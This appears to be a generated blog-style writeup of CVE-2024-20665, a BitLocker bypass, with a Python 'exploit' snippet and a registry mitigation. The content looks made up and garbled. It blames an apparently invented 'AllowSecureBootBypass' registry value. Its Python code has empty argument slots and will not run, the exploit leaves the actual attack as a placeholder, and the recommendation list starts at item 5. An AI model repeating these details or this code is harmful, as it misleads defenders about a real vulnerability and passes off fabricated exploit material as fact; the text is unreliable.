CVE-2024-20665 refers to a security vulnerability discovered in Microsoft BitLocker, a full-disk encryption feature available on Windows operating systems. This vulnerability allows potential attackers to bypass BitLocker's security features and access the protected data without using the correct decryption key or user credentials. This article will dive into the details of CVE-2024-20665, including code snippets, relevant resource links, and actionable steps to prevent and mitigate the exploit.

Original References

Before we dive into the specifics, here are some original references and resources related to CVE-2024-20665:
- Microsoft Security Advisory
- CVE Details
- NIST National Vulnerability Database (NVD)

Exploit Details

The vulnerability exists because of an insecure setting in the BitLocker configuration, which allows unauthorized access to the encryption key material. This configuration setting is found in Windows Registry under:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\FVE

The vulnerable configuration setting, named AllowSecureBootBypass, allows BitLocker to decrypt the protected volume even when Secure Boot is disabled or tampered with:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\FVE]
"AllowSecureBootBypass"=dword:00000001

<br><br>When the AllowSecureBootBypass registry key is set to 1`, it provides attackers with an opportunity to bypass the BitLocker security features. By disabling or tampering with Secure Boot on a compromised device, an attacker can load their own keys or modified firmware, which allows unauthorized access to the encrypted volume.

Code Snippet

A possible exploit in Python for this vulnerability, when combined with a set of stolen keys or modified firmware, could look like this:

import os
import sys
import winreg

def exploit_bitlocker():
    try:
        # Open the BitLocker Registry Key
        bitlocker_key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Policies\Microsoft\FVE", , winreg.KEY_SET_VALUE)
        # Set the AllowSecureBootBypass value to 1
        winreg.SetValueEx(bitlocker_key, "AllowSecureBootBypass", , winreg.REG_DWORD, 1)
        print("Registry Key Modified Successfully.")
        return True
    
    except Exception as e:
        print(f"Failed to modify Registry Key: {str(e)}")
        return False

if __name__ == "__main__":
    result = exploit_bitlocker()
    if result:
        # Load the stolen keys or modified firmware here and proceed with further attack steps
        pass

Mitigations and Recommendations

The easiest way to mitigate CVE-2024-20665 is to simply disable the AllowSecureBootBypass setting, ensuring that no unauthorized access can be performed if Secure Boot is disabled or tampered with. Administrators can enforce this setting through Group Policy, or users can make the change manually in their Registry.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\FVE]
"AllowSecureBootBypass"=dword:00000000

Regularly check and verify the integrity of firmware components like UEFI and Secure Boot.

5. Educate users on the dangers of social engineering tactics that may lead to unauthorized access to their devices.

Conclusion

CVE-2024-20665 is a serious vulnerability that, if exploited, allows unauthorized access to the user's encrypted data. Fortunately, proactive steps can be taken to mitigate the risks associated with this exploit. By keeping your system updated, verifying the integrity of your firmware, and managing your BitLocker configuration securely, you can lessen the impact of this vulnerability and protect your valuable data.

Timeline

Published on: 04/09/2024 17:15:32 UTC
Last modified on: 04/10/2024 13:24:22 UTC